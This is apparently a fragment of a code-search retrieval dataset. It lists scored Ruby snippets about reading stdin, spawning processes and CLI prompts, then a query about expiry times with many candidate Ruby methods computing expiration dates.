"text": "def input\n $stdout.print(\">>\")\n $stdin.gets.chomp\nend",
"title": ""
},
{
"docid": "dc99d4fcf2f6f334e668e983254d0b57",
"score": "0.5305782",
"text": "def cheat(arg=\"\")\n system(\"cheat #{arg.to_s} | less\")\n end",
"title": ""
},
{
"docid": "ae56d0f527ae570aa18bb00dc62025aa",
"score": "0.53027123",
"text": "def run!(*args)\n IO.pipe do |reader, writer|\n sandbox = dup.tap { |o| o.stdout = writer }\n pid = sandbox.spawn(*args)\n writer.close\n\n ret = reader.read\n status = waitpid!(pid)\n raise Error, \"run!(#{args.map(&:inspect).join}) failed (exit #{status.exitstatus})\" if !status.success?\n\n ret\n end\n end",
"title": ""
},
{
"docid": "45b9725bc64b7a10cb0f33d9b9c6220f",
"score": "0.52950144",
"text": "def execute(input: $stdin, output: $stdout)\n prompt = TTY::Prompt.new\n\n prompt.say('some cool message')\n prompt.say(Pastel.new.magenta('some cool message pink'))\n\n prompt.ok('OK OK OK')\n prompt.warn('Warning!')\n prompt.error('You really screwed up here')\n\n :gui\n end",
"title": ""
},
{
"docid": "2e1d87f3c40004d92ac1d710528d32a5",
"score": "0.5294878",
"text": "def execute(args)\n if args.size == 1\n puts KaijuShellCommand.new_cmd(args.first).help\n else\n puts <<EOF\nKaiju is a simple issue tracking software. This command line tool gives access to some of its functionality.\nMost of the functionality is provided by the web application, which you can start with '#{$0} web start'\n\nUsage:\n #{$0} COMMAND parameters\n\nAvailable commands:\nEOF\n KaijuShellList.new.execute(nil)\n\nputs \"\\nRun '#{$0} help COMMAND' for more information about that command.\"\n end\n end",
"title": ""
},
{
"docid": "77f92dd856abaf33005f4788620be909",
"score": "0.52882934",
"text": "def get_input; $stdin.gets.strip; end",
"title": ""
},
{
"docid": "cf728e8aeabdf9e2ffff6c43158e89ca",
"score": "0.52874744",
"text": "def hdiutil *args\n run_baby_run 'hdiutil', args\n end",
"title": ""
},
{
"docid": "64cc55a30e5f491838f85a0fa6ec8497",
"score": "0.525003",
"text": "def render_with_stdin_stdout(command, content)\n render_with_command(command, :stdout, stdin_data: content)\n end",
"title": ""
},
{
"docid": "b2bc50e2a89b3638c79c586c5e263a3b",
"score": "0.5244099",
"text": "def execute(input: $stdin, output: $stdout)\n prompt = TTY::Prompt.new\n\n heading prompt.multiline('Description (multi line)?')\n\n heading prompt.multiline('Description - see prompt -->?', default: 'A super sweet prompt.')\n\n heading prompt.multiline('Description (dsl)?') do |q|\n q.default 'A super sweet prompt.'\n q.help 'Press thy ctrl+d to end'\n end\n\n :gui\n end",
"title": ""
},
{
"docid": "0faf061950c9682941785387b7fd253a",
"score": "0.524082",
"text": "def start\n begin\n $stdin.sync = true if $stdin.isatty\n $stdout.sync = true if $stdout.isatty\n\n # Run the commands\n run_command @args\n\n rescue Interrupt => error\n puts 'stty icanon echo, Command cancelled.'\n puts error.backtrace\n rescue => error\n puts error\n puts \"--------------------------------------------------------------------------------\"\n puts error.backtrace\n exit(1)\n end\n end",
"title": ""
},
{
"docid": "a211a118e10dbfd4e2491f9bfd0b8b31",
"score": "0.5232854",
"text": "def gets(*_args)\n if !ARGV.empty? || @gets_fiber\n @gets_fiber ||= Fiber.new(&ARGV_GETS_LOOP)\n @gets_fiber.thread = Thread.current\n result = @gets_fiber.alive? && @gets_fiber.safe_transfer(Fiber.current)\n return result if result\n\n @gets_fiber = nil\n end\n\n $stdin.gets\n end",
"title": ""
},
{
"docid": "a91819794f79ff5a462beb150320e7ee",
"score": "0.52305865",
"text": "def initialize\n @input = $stdin\n @output = $stdout \n end",
"title": ""
},
{
"docid": "101056db353743f1b4b419595cf42116",
"score": "0.52255934",
"text": "def execute(args)\n if args.size == 1\n with_output{|io| io << compile(args[0])}\n else\n raise Quickl::Help\n end\n end",
"title": ""
},
{
"docid": "accf3df9d1d9b896de036f00d1f8eba7",
"score": "0.5221367",
"text": "def write_to_child_stdin; end",
"title": ""
},
{
"docid": "96947ebda1e24cef5cb6f88a87d682e1",
"score": "0.5220352",
"text": "def execute(input: $stdin, output: $stdout)\n heading 'Read characters until new line (try ^A and ^B)' # (responds to control characters such as Control-A to Control-B to navigate through history)'\n\n heading 'read_line'\n reader.read_line\n\n heading 'read_line(raw: false)'\n reader.read_line(raw: false)\n\n heading 'read_line(echo: false)'\n reader.read_line(echo: false)\n\n heading 'read_line(\":):):) >>>>> \")'\n reader.read_line(':):):) >>>>> ')\n\n heading 'read_line(\"> \", value: \"edit me\")'\n reader.read_line('> ', value: 'edit me')\n\n :gui\n end",
"title": ""
},
{
"docid": "1270c4b2a84030b16746598474a6863f",
"score": "0.521884",
"text": "def input_argv\n gets.chomp\nend",
"title": ""
},
{
"docid": "b405990f71aa80d899c8c951d4fc3f92",
"score": "0.52145594",
"text": "def send_stdin(data)\n request('sendProcessStdin', @name, data)\n end",
"title": ""
},
{
"docid": "469b227e0077ba8eaebb7c0da5ef5d6c",
"score": "0.52108735",
"text": "def run(input)\n language = language_from_kaf(input)\n args = options[:args].dup\n\n if language and language_constant_defined?(language)\n kernel = language.new(:args => args)\n else\n kernel = Coreferences::Base.new(:args => args, :language => language)\n end\n\n stdout, stderr, process = kernel.run(input)\n\n raise stderr unless process.success?\n\n return stdout\n end",
"title": ""
},
{
"docid": "bc1d89d522fea6417caeff445c547596",
"score": "0.52029395",
"text": "def stdin\n $stdin\n end",
"title": ""
},
{
"docid": "bc1d89d522fea6417caeff445c547596",
"score": "0.52029395",
"text": "def stdin\n $stdin\n end",
"title": ""
},
{
"docid": "9000c6e2bd60658c6f9a89c7431de718",
"score": "0.5200813",
"text": "def read_stdin\n loop do \n process_line(gets)\n end\nend",
"title": ""
},
{
"docid": "8a75bf78e79d5e9d9989ad157ae79d6b",
"score": "0.51881546",
"text": "def main \n loop do\n cmdline = Readline.readline('> ', true) \n p cmdline\n end\nend",
"title": ""
},
{
"docid": "fea473e15585885a83ebef2b484812e9",
"score": "0.51843953",
"text": "def gets(*args)\n @readable_io.gets(*args)\n rescue NoMethodError\n raise NotRunning, \"Fork is not running yet, you must invoke #execute first.\" unless @pid\n raise FlagNotSpecified, \"You must set the :to_fork flag when forking in order to use this\" unless @readable_io\n raise\n end",
"title": ""
},
{
"docid": "0f76527612cf2395aa5ac1e97f9464b1",
"score": "0.5181649",
"text": "def ruby(args)\n stderr_file = Tempfile.new('isis')\n stderr_file.close\n Dir.chdir(working_dir) do\n @stdout = super(\"-I #{rspec_lib} #{args}\", stderr_file.path)\n end\n @stderr = IO.read(stderr_file.path)\n @exit_code = $?.to_i\n end",
"title": ""
},
{
"docid": "4cc74ece4f877f93ef1ba77d0641ce3d",
"score": "0.5178654",
"text": "def gets(*args)\n @input.gets(*args)\n end",
"title": ""
},
{
"docid": "4cc74ece4f877f93ef1ba77d0641ce3d",
"score": "0.5178654",
"text": "def gets(*args)\n @input.gets(*args)\n end",
"title": ""
},
{
"docid": "e5147ed3ae71fff17e45b84795caa40e",
"score": "0.5172401",
"text": "def run *argv\n env = PBR.env.to_a\n \n pid, i, o, e = GLib::spawn_async_with_pipes argv, PBR.getwd, env, GLib::SpawnFlags::DO_NOT_REAP_CHILD | GLib::SpawnFlags::SEARCH_PATH | GLib::SpawnFlags::SEARCH_PATH_FROM_ENVP\n \n in_ch = GLib::IOChannel.unix_new( i ); \n out_ch = GLib::IOChannel.unix_new( o );\n err_ch = GLib::IOChannel.unix_new( e );\n \n @input.instance_variable_set(\"@channel\", in_ch)\n @output.instance_variable_set(\"@channel\", out_ch)\n @error.instance_variable_set(\"@channel\", err_ch)\n \n f = Proc.new do |ch, cond, *o|\n case cond\n when GLib::IOCondition::HUP\n ch.unref\n output.instance_variable_set(\"@eof\", true)\n next false\n end\n\n output.send :line_read, GLib::IOChannel.read_line(ch)[1]\n true\n end\n \n z = Proc.new do |ch, cond, *o|\n case cond\n when GLib::IOCondition::HUP\n ch.unref\n error.instance_variable_set(\"@eof\", true)\n next false\n end\n\n error.send :line_read, GLib::IOChannel.read_line(ch)[1]\n true\n end\n \n GLib::io_add_watch( out_ch, GLib::IOCondition::IN | GLib::IOCondition::HUP, nil.to_ptr, &f);\n GLib::io_add_watch( err_ch, GLib::IOCondition::IN | GLib::IOCondition::HUP, nil.to_ptr, &z);\n \n GLib::child_watch_add pid do\n GLib::spawn_close_pid(pid)\n end\n \n return pid \n end",
"title": ""
},
{
"docid": "e5147ed3ae71fff17e45b84795caa40e",
"score": "0.5172401",
"text": "def run *argv\n env = PBR.env.to_a\n \n pid, i, o, e = GLib::spawn_async_with_pipes argv, PBR.getwd, env, GLib::SpawnFlags::DO_NOT_REAP_CHILD | GLib::SpawnFlags::SEARCH_PATH | GLib::SpawnFlags::SEARCH_PATH_FROM_ENVP\n \n in_ch = GLib::IOChannel.unix_new( i ); \n out_ch = GLib::IOChannel.unix_new( o );\n err_ch = GLib::IOChannel.unix_new( e );\n \n @input.instance_variable_set(\"@channel\", in_ch)\n @output.instance_variable_set(\"@channel\", out_ch)\n @error.instance_variable_set(\"@channel\", err_ch)\n \n f = Proc.new do |ch, cond, *o|\n case cond\n when GLib::IOCondition::HUP\n ch.unref\n output.instance_variable_set(\"@eof\", true)\n next false\n end\n\n output.send :line_read, GLib::IOChannel.read_line(ch)[1]\n true\n end\n \n z = Proc.new do |ch, cond, *o|\n case cond\n when GLib::IOCondition::HUP\n ch.unref\n error.instance_variable_set(\"@eof\", true)\n next false\n end\n\n error.send :line_read, GLib::IOChannel.read_line(ch)[1]\n true\n end\n \n GLib::io_add_watch( out_ch, GLib::IOCondition::IN | GLib::IOCondition::HUP, nil.to_ptr, &f);\n GLib::io_add_watch( err_ch, GLib::IOCondition::IN | GLib::IOCondition::HUP, nil.to_ptr, &z);\n \n GLib::child_watch_add pid do\n GLib::spawn_close_pid(pid)\n end\n \n return pid \n end",
"title": ""
},
{
"docid": "3082f38e182fb60a40f36453e597b85c",
"score": "0.5161475",
"text": "def initializer(args, input=STDIN, output=STDOUT, error=STDERR)\n @subcmd = args.shift\n @args = args\n end",
"title": ""
},
{
"docid": "121c7efea03a61c9113a76991db6140c",
"score": "0.51571006",
"text": "def gets(*args)\n @input.gets *args\n end",
"title": ""
},
{
"docid": "aa67c7a60ff1a034f0ba6f0f8e870b9c",
"score": "0.5147472",
"text": "def execute(input: $stdin, output: $stdout)\n message = 'Block-Head'\n puts message\n puts Pastel.new.red(TTY::Font.new(:block).write(message))\n\n :gui\n end",
"title": ""
},
{
"docid": "e84022e43ed739463192ddbd883eb4cd",
"score": "0.5147281",
"text": "def _run_and_output(*args, **kwargs)\n Host.run_and_output(*args, **kwargs)\n end",
"title": ""
},
{
"docid": "1131ff6a6c99dfb2b76595111bc78162",
"score": "0.51462543",
"text": "def test_stdin_redir\n with_fixture 'stdinredir' do\n assert system(\"ruby\", ocra, \"stdinredir.rb\", *DefaultArgs)\n assert File.exist?(\"stdinredir.exe\")\n # Kernel.system(\"ruby -e \\\"system 'stdinredir.exe<input.txt';p $?\\\"\")\n pristine_env \"stdinredir.exe\", \"input.txt\" do\n system(\"stdinredir.exe < input.txt\")\n end\n assert_equal 104, $?.exitstatus\n end\n end",
"title": ""
},
{
"docid": "9fec56dfb6df48a126bd287a4d3ed1c4",
"score": "0.51426077",
"text": "def execute(input: $stdin, output: $stdout)\n values = [\n ['less', which('less')],\n ['git', which('git')],\n ['ruby', which('ruby')],\n ['/usr/bin/ruby', which('/usr/bin/ruby')],\n ['ruby in limited paths', which('ruby', paths: ['/usr/local/bin', '/usr/bin', '/bin'])]\n ]\n\n pretty_table('Which paths', %w[key path], values)\n\n :gui\n end",
"title": ""
},
{
"docid": "25997b7c39eb1054a9c1a88150b99717",
"score": "0.5134426",
"text": "def cli(commandline_arguments)\n CLITest.new(BINARY).run(commandline_arguments)\n end",
"title": ""
},
{
"docid": "25997b7c39eb1054a9c1a88150b99717",
"score": "0.5134426",
"text": "def cli(commandline_arguments)\n CLITest.new(BINARY).run(commandline_arguments)\n end",
"title": ""
},
{
"docid": "25997b7c39eb1054a9c1a88150b99717",
"score": "0.5134426",
"text": "def cli(commandline_arguments)\n CLITest.new(BINARY).run(commandline_arguments)\n end",
"title": ""
},
{
"docid": "30f1531e742ef41ebf7a554c8bc9a4d8",
"score": "0.51329577",
"text": "def run(argv, stderr, stdout)\n run_strategy.run(argv, stderr, stdout)\n end",
"title": ""
},
{
"docid": "9cfb1af12464156e9c5cbc3bc2af480f",
"score": "0.5132421",
"text": "def run_script(*inputs)\n\n ttt = ENV['TTT'] || \"./ttt\"\n last_response = nil\n penultimate_input = ''\n last_input = ''\n\n PTY.spawn(ttt) do |read, write, pid|\n write.sync = true\n\n inputs.each do |input|\n read.expect(/.*[:!]\\s/, 5) do |response|\n return nil unless response\n last_response = response\n penultimate_input = last_input\n if input\n last_input = input.to_s + \"\\n\"\n write.print last_input\n end\n end\n end\n end\n if last_response\n last_response.join('').gsub(/\\r\\n|\\r/,\"\\n\").gsub(/\\A\\n#{penultimate_input}/,'')\n end\n end",
"title": ""
},
{
"docid": "b18adbab916c9633bb588c4aab5dc51b",
"score": "0.5125595",
"text": "def run(*args)\n args.flatten!\n print_help_and_exit if args.empty?\n\n begin\n flags = @parser.flags_from_args!(args)\n rescue InvalidFlag => e\n print_help_and_exit e.message\n end\n\n # The reference MUST be the first arg...\n reference = \\\n read_file(args.shift) \\\n or print_help_and_exit \"Missing <reference> argument\"\n\n # The candidate MAY be the second arg, or it might have been piped in...\n candidate = \\\n read_file(args.shift) \\\n || read_piped_stdin \\\n or print_help_and_exit \"Missing <candidate> argument, AND nothing was piped in\"\n\n # Looks like we're good to go!\n diff_view = CheckPlease.render_diff(reference, candidate, flags)\n puts diff_view\n end",
"title": ""
},
{
"docid": "0ef7c85e80eeb0b3452085cc3ec19b40",
"score": "0.5113158",
"text": "def execute(*args)\n private_gist = defaults[\"private\"]\n gist_extension = defaults[\"extension\"]\n\n opts = OptionParser.new do |opts|\n opts.banner = \"Usage: gist [options] [filename or stdin]\"\n\n opts.on('-p', '--[no-]private', 'Make the gist private') do |priv|\n private_gist = priv\n end\n\n t_desc = 'Set syntax highlighting of the Gist by file extension'\n opts.on('-t', '--type [EXTENSION]', t_desc) do |extension|\n gist_extension = '.' + extension\n end\n\n opts.on('-m', '--man', 'Print manual') do\n Gist::Manpage.display(\"gist\")\n end\n\n opts.on('-h', '--help', 'Display this screen') do\n puts opts\n exit\n end\n end\n\n opts.parse!(args)\n\n begin\n if $stdin.tty?\n # Run without stdin.\n\n # No args, print help.\n if args.empty?\n puts opts\n exit\n end\n\n # Check if arg is a file. If so, grab the content.\n if File.exists?(file = args[0])\n input = File.read(file)\n gist_extension = File.extname(file) if file.include?('.')\n else\n abort \"Can't find #{file}\"\n end\n else\n # Read from standard input.\n input = $stdin.read\n end\n\n url = write(input, private_gist, gist_extension)\n browse(url)\n puts copy(url)\n rescue => e\n warn e\n puts opts\n end\n end",
"title": ""
},
{
"docid": "f797110285c7feac234a3236fd711cd0",
"score": "0.5112634",
"text": "def execute(input: $stdin, output: $stdout)\n message = 'straight'\n puts message\n puts Pastel.new.red(TTY::Font.new(:straight).write(message))\n\n :gui\n end",
"title": ""
},
{
"docid": "1092e932bd3bc1e58d8447704527b973",
"score": "0.51120603",
"text": "def echo_inputs args\n exe = EchoInputs.new\n yield exe if block_given?\n # Use 'file' task as if we were a compiler\n # that created a file...\n file args do\n exe.execute\n end\n exe\nend",
"title": ""
},
{
"docid": "b5d2a41df8f1d21b2d972288d8711b9e",
"score": "0.51091963",
"text": "def start(command_line)\n @system.shell(command_line) do |io|\n if (block_given?)\n yield io\n else\n while (line = io.gets)\n puts line\n end\n end\n end\n end",
"title": ""
},
{
"docid": "9f21d0b27cfa2447f13898f1e236c57b",
"score": "0.5105872",
"text": "def ask(*args)\n print(*args)\n $stdin.gets.chomp\nend",
"title": ""
},
{
"docid": "77fdc8ffb16e8a539ce682ee32a3cd62",
"score": "0.51047814",
"text": "def execute(input: $stdin, output: $stdout)\n logger = TTY::Logger.new\n logger.debug 'logs message at :debug level'\n logger.info 'logs message at :info level'\n logger.success 'logs message at :info level'\n logger.wait 'logs message at :info level'\n logger.warn 'logs message at :warn level'\n logger.error 'logs message at :error level'\n logger.fatal 'logs message at :fatal level'\n\n :gui\n end",
"title": ""
},
{
"docid": "a850f2b122eed40b6a23474d00b76e80",
"score": "0.51024336",
"text": "def run(input)\n begin\n if options[:kaf]\n language, input = kaf_elements(input)\n else\n language = options[:language]\n end\n \n unless valid_language?(language)\n raise ArgumentError, \"The specified language (#{language}) is invalid\"\n end\n \n kernel = language_constant(language).new(:args => options[:args])\n \n stdout, stderr, process = Open3.capture3(*kernel.command.split(\" \"), :stdin_data => input)\n raise stderr unless process.success?\n return stdout\n \n rescue Exception => error\n return Opener::Core::ErrorLayer.new(input, error.message, self.class).add\n end\n end",
"title": ""
},
{
"docid": "c46d16a9bb13db35559530928db77d7e",
"score": "0.5099922",
"text": "def process_args\n input = @options[:input]\n output = @options[:output]\n args = @args.dup\n input ||=\n begin\n filename = args.shift\n @options[:input_filename] = filename\n open_file(filename) || $stdin\n end\n @options[:output_filename] = args.shift\n output ||= @options[:output_filename] || $stdout\n @options[:input] = input\n @options[:output] = output\n\n run\n end",
"title": ""
}
] |
7dff2e669cf999ae9eaeca9391658d0b
|
1 day for expiry time
|
[
{
"docid": "8c54fe3018e1484cd9d94d058cf00307",
"score": "0.0",
"text": "def index\n redirect_to(controller: \"portal\", action: \"experimentlist\")\n end",
"title": ""
}
] |
[
{
"docid": "77eb3cb461e8c8abde8ae1e2c073bd92",
"score": "0.7988879",
"text": "def set_expiration_date\n self.expiry_date = Date.today + 365.days\n end",
"title": ""
},
{
"docid": "6f98c83e6fd498cc4b6e67722e94db22",
"score": "0.7906083",
"text": "def expiry\n @expiry ||= 60 * 10\n end",
"title": ""
},
{
"docid": "6f98c83e6fd498cc4b6e67722e94db22",
"score": "0.7906083",
"text": "def expiry\n @expiry ||= 60 * 10\n end",
"title": ""
},
{
"docid": "cd060076f98da69083b21494e002f1b8",
"score": "0.77770066",
"text": "def expiry_time\n ((Time.now.tv_sec + 31556926) * 1000).to_i\n end",
"title": ""
},
{
"docid": "7f54161edf5b6850ff04b8c413df8476",
"score": "0.7759065",
"text": "def expiry(t)\n Time.now.to_i + t\n end",
"title": ""
},
{
"docid": "988d3baf46c40c478dff5a18083cd7a7",
"score": "0.74543065",
"text": "def expiration\n @expiration ||= 60 * 60 * 24 * 30 # 30 days\n end",
"title": ""
},
{
"docid": "0ea9bd14555a0be9ee196767d8e4611f",
"score": "0.7408917",
"text": "def expire!\n self.expires_on = 24.hours.until(Date.today)\n self.save!\n end",
"title": ""
},
{
"docid": "548a6222146eb553fac3f7488168d6e6",
"score": "0.7390091",
"text": "def expiry_days\n @expiry_days || DEFAULT_EXPIRY_DAYS\n end",
"title": ""
},
{
"docid": "937b5078f20de5ddb1d9b949a037e6ca",
"score": "0.7385797",
"text": "def calc_expiry_time(seconds = 86400 * 7) # one week\n ((Time.now.utc + seconds).to_f * 1000).to_i\n end",
"title": ""
},
{
"docid": "e49d8de629ec5518c9a980ca1a64af2b",
"score": "0.73774624",
"text": "def set_expiring_date\n self.expires_at = self.created_at + 10.minutes\n self.save\n end",
"title": ""
},
{
"docid": "67964558ece1651877638e63f238bd3f",
"score": "0.73686534",
"text": "def expiration_date\n end",
"title": ""
},
{
"docid": "359404c80dbe61f8bd7eb8275d993858",
"score": "0.7316879",
"text": "def set_expire_at_date\n self[:expire_at] = valid_at + 1.year\n end",
"title": ""
},
{
"docid": "18649e35a176c1be2aea803344f16103",
"score": "0.73081654",
"text": "def build_expires_at\n Time.now.to_i + (30 * 24 * 60 * 60)\nend",
"title": ""
},
{
"docid": "4924a8438df29348a25933de1823908b",
"score": "0.7299647",
"text": "def getExpiration; @expires; end",
"title": ""
},
{
"docid": "30b832c67ef33f917e5f3e810259291a",
"score": "0.7292455",
"text": "def fecha_expiration\n run_at = self.expiration_date\n end",
"title": ""
},
{
"docid": "9ca994f8320a73f20c6bf43451997a64",
"score": "0.7263619",
"text": "def expiry\n @expiry\n end",
"title": ""
},
{
"docid": "1b5f2f249c92d6a42f8dbc07cb75f57a",
"score": "0.7251723",
"text": "def refresh_expiry\n self.expires_at = Time.now + ttl\n end",
"title": ""
},
{
"docid": "1357fa61dabc48ca41d8654d3db35e56",
"score": "0.72114885",
"text": "def expires_now; end",
"title": ""
},
{
"docid": "adb533b02169a7062ca9f0ed35723864",
"score": "0.71724284",
"text": "def expiration_time\n Time.at(0, expiration_date, :millisecond)\n end",
"title": ""
},
{
"docid": "327427b6a3c2cf3ab9f4ef9100dbd3e8",
"score": "0.71093535",
"text": "def expiry=(expiry)\n self.expires_on = Date.strptime(expiry, '%m/%y') +1.month\n end",
"title": ""
},
{
"docid": "ec204d73f94377a8d4b698d7b72989a3",
"score": "0.7077283",
"text": "def days_to_go\n\t\t(self.expiration_date.to_date - Date.today).to_i\n\tend",
"title": ""
},
{
"docid": "68455572727de1c4d1083fb3b2dbae8b",
"score": "0.7073858",
"text": "def start_expiry_period!\n self.update_attribute(:access_token_expires_at, 2.days.from_now)\n end",
"title": ""
},
{
"docid": "4593f244bb4f9a52ed001793384eafee",
"score": "0.7068166",
"text": "def new_expiration_score\n now + 3600\n end",
"title": ""
},
{
"docid": "0c5b951de90fb860ac395bb4d3710d5c",
"score": "0.7032591",
"text": "def expiry_time\n session[:expires_at] || 3.days.from_now\n end",
"title": ""
},
{
"docid": "a82527ffc7135e9c8077d6b51e954f56",
"score": "0.7014838",
"text": "def last_day_of_extended_grace_window\n (expiry_date + Rails.configuration.expires_after.years) - 1.day\n end",
"title": ""
},
{
"docid": "6248db4a07d20dbc230faa457c754cea",
"score": "0.6997153",
"text": "def expire=(_); end",
"title": ""
},
{
"docid": "072a6e8e1a1a354618de8b0d38628d21",
"score": "0.6994065",
"text": "def create_or_renew_token()\n calculate_expiry_time()\n end",
"title": ""
},
{
"docid": "4efc12040eeb054013e046fdbf5c36af",
"score": "0.69453627",
"text": "def expires_at\n if max_age\n created_at + max_age\n else\n expires\n end\n end",
"title": ""
},
{
"docid": "c768b4a08b638b30a7d17d50de3349ee",
"score": "0.694368",
"text": "def expiry_date\n ExpiryDate.new(@month, @year)\n end",
"title": ""
},
{
"docid": "4fff7ac2e90b5dc7d9ae57cb18b6ce84",
"score": "0.6931623",
"text": "def expires\r\n object.expires.strftime(\"%Y-%m-%d\")\r\n end",
"title": ""
},
{
"docid": "af3218f2cc85c561135bd03f12082498",
"score": "0.6917491",
"text": "def expired?\n Date.today > self.expires_on\n end",
"title": ""
},
{
"docid": "72e8967a11db5420849c6987d06c1d16",
"score": "0.69174767",
"text": "def build_expiry(t_expiry)\n self.expiry = \"#{t_expiry.strftime('%Y-%m-%dT%H:%M:%S+08:00')}\"\n end",
"title": ""
},
{
"docid": "3fb68128d25619a59c7042d172c64a52",
"score": "0.69164014",
"text": "def expired?; end",
"title": ""
},
{
"docid": "a6f658b9e4609794835e2301bd808a23",
"score": "0.69094586",
"text": "def has_default_expiration?\n expiredate < Time.now+60*60+60 # The last 60seconds are for safety\n end",
"title": ""
},
{
"docid": "3ee1e96aa6a48f08c81d5b27c5870511",
"score": "0.6905838",
"text": "def expiration_date_time\n return @expiration_date_time\n end",
"title": ""
},
{
"docid": "3ee1e96aa6a48f08c81d5b27c5870511",
"score": "0.6905838",
"text": "def expiration_date_time\n return @expiration_date_time\n end",
"title": ""
},
{
"docid": "3ee1e96aa6a48f08c81d5b27c5870511",
"score": "0.6905838",
"text": "def expiration_date_time\n return @expiration_date_time\n end",
"title": ""
},
{
"docid": "3ee1e96aa6a48f08c81d5b27c5870511",
"score": "0.6905838",
"text": "def expiration_date_time\n return @expiration_date_time\n end",
"title": ""
},
{
"docid": "3ee1e96aa6a48f08c81d5b27c5870511",
"score": "0.6905838",
"text": "def expiration_date_time\n return @expiration_date_time\n end",
"title": ""
},
{
"docid": "3ee1e96aa6a48f08c81d5b27c5870511",
"score": "0.6905838",
"text": "def expiration_date_time\n return @expiration_date_time\n end",
"title": ""
},
{
"docid": "ac79e376e12a6b1692072884abfa49d0",
"score": "0.69044363",
"text": "def expires_on\n self.expires_on = Date.strptime(expiration_date,'%m/%Y')+1.month\n end",
"title": ""
},
{
"docid": "f3787759d7e33b2a4f620ad318118002",
"score": "0.68806076",
"text": "def simulate_expire; end",
"title": ""
},
{
"docid": "152ef102708c58e783a5edaec9b521cb",
"score": "0.68549633",
"text": "def expiration_date\n hash[\"ExpirationDate\"]\n end",
"title": ""
},
{
"docid": "c87dd5acf7e58771e37a7ef07c6891be",
"score": "0.68494636",
"text": "def calculate_expiry_time(expiry_time) # :doc:\n expiry_time = self.adapter.default_expiry if expiry_time.nil?\n exp_swing = self.adapter.expiry_swing\n if exp_swing && exp_swing != 0\n swing = rand(exp_swing.to_i)\n case rand(2)\n when 0\n expiry_time = (expiry_time.to_i + swing)\n when 1\n expiry_time = (expiry_time.to_i - swing)\n end\n end\n expiry_time\n end",
"title": ""
},
{
"docid": "7e5cb85f2ef77ec5e33db92c2a0fde3e",
"score": "0.6848608",
"text": "def expire!\n\t\tself.expires = Time.at(0)\n\tend",
"title": ""
},
{
"docid": "4813dcdedb466070b04c878140589adf",
"score": "0.6848384",
"text": "def set_expires_at\n self[:expires_at] = case self.expiry_option \n when :in then Time.now.utc + (self.expiry_days || 3).days\n when :on then self[:expires_at]\n else self[:expires_at]\n end\n end",
"title": ""
},
{
"docid": "94dc1112c1543f3bc5475b6dddf65d40",
"score": "0.6837124",
"text": "def calculate_expiry_time(expiry) # :doc:\n exp_swing = adapter.configuration.retrieve(:expiry_swing, 0)\n if exp_swing && exp_swing != 0\n swing = rand(exp_swing.to_i)\n case rand(2)\n when 0\n expiry = (expiry.to_i + swing)\n when 1\n expiry = (expiry.to_i - swing)\n end\n end\n expiry\n end",
"title": ""
},
{
"docid": "f05867db9fcecbf830c3bccb14eba89f",
"score": "0.6835975",
"text": "def expire\n self.expires_on = DateTime.current\n self\n end",
"title": ""
},
{
"docid": "ea062bba4c9b2b8f751e3a174539550e",
"score": "0.68326074",
"text": "def expire_date_for_start_date(start_date)\n start_date + 1.year - 1.day\n end",
"title": ""
},
{
"docid": "9eb33a378111fb9ee7ab8fedbf39d7d3",
"score": "0.6826863",
"text": "def set_expires_at\n self[:expires_at] = case self.expiry_option \n when :in then Time.now.utc + (self.expiry_days || DEFAULT_EXPIRY_DAYS).days\n when :on then self[:expires_at]\n else self[:expires_at]\n end\n end",
"title": ""
},
{
"docid": "6b841a5dd50b4e4c90e11a7e83ac2ffa",
"score": "0.68268096",
"text": "def expiry_time\n @slice_time * 26 # keep 26 slices around, but we only ever interrogate 24\n end",
"title": ""
},
{
"docid": "844a89dcf93623c2c119a90445e5dda9",
"score": "0.68207294",
"text": "def default_expires\n @default_expires ||= 3600\n end",
"title": ""
},
{
"docid": "33cce24ace2ef4983b813a68eef8b9a6",
"score": "0.68198425",
"text": "def expires\n created_at + 30\n end",
"title": ""
},
{
"docid": "c4dd3c2ef8e18ac2e52d65043b342c09",
"score": "0.6812284",
"text": "def credit_card_expiry_date\n ::Date.today + (365 * rand(1..4))\n end",
"title": ""
},
{
"docid": "c639d4c492d5f09b2f08ad2ac844725b",
"score": "0.6802698",
"text": "def expiration_date\n unless self['expiration_date']\n month_days = [nil,31,28,31,30,31,30,31,31,30,31,30,31]\n begin \n month_days[2] = 29 if Date.leap?(@year)\n self['expiration_date'] = Time.parse(\"#{@month}/#{month_days[@month]}/#{@year} 23:59:59\")\n rescue\n end\n end \n self['expiration_date']\n end",
"title": ""
},
{
"docid": "57c47d32caf13afd19c38ab2111f1a10",
"score": "0.67846185",
"text": "def verify_expiration; end",
"title": ""
},
{
"docid": "57c47d32caf13afd19c38ab2111f1a10",
"score": "0.67846185",
"text": "def verify_expiration; end",
"title": ""
},
{
"docid": "63fd691746a04b1fbf27d74c9bd0cb67",
"score": "0.6766337",
"text": "def remaining_days_of_grace\n self.expire_on - Date.today - 1\n end",
"title": ""
},
{
"docid": "1d9daee19312240936ec46dc0cdc0f5e",
"score": "0.67627996",
"text": "def expires_at\n Time.at(expiry_time_millis / 1000).utc.to_datetime\n end",
"title": ""
},
{
"docid": "42739b409d5992fad8014ae06ef535b2",
"score": "0.6755023",
"text": "def expires_at\n parse_date( super )\n rescue ArgumentError\n nil\n end",
"title": ""
},
{
"docid": "16646d6fc3f3aa64499f93e4846c6f42",
"score": "0.6749894",
"text": "def expiration_date\n read_datetime_from_string('expiration_date')\n end",
"title": ""
},
{
"docid": "0a6bed4bd3ffeb044a65c6e624cfc1a0",
"score": "0.67387366",
"text": "def days_to_password_expiry\n no_of_days_remaining = (password_expiry_date.to_date - Time.zone.today).to_i\n no_of_days_remaining.to_i unless no_of_days_remaining >= Rails.configuration.x.authentication.password_due_period\n end",
"title": ""
},
{
"docid": "7ba37a0befb421ecf13ba8233f05df62",
"score": "0.67386687",
"text": "def expiry_time\n response_hash[:hard_expiration_time]\n end",
"title": ""
},
{
"docid": "f0c2b49a325b421797af28d26a22bf1a",
"score": "0.6737102",
"text": "def expires_on\n case self.current_state\n when :active then (self.last_renewal_on.to_time + self.length_in_issues.months).to_date\n end\n end",
"title": ""
},
{
"docid": "730f4675bb9ee878cfe4c179834e998c",
"score": "0.6697318",
"text": "def default_expire; @@default_expire; end",
"title": ""
},
{
"docid": "c26bd6050a335dd2bf0bf17a46ddfedb",
"score": "0.6694036",
"text": "def expire!\n headers['Age'] = max_age.to_s if fresh?\n end",
"title": ""
},
{
"docid": "8edce8a1f8dc9f828c8dfdc8b7b2059c",
"score": "0.6683622",
"text": "def expired?\n exp < Time.now.to_i\n end",
"title": ""
},
{
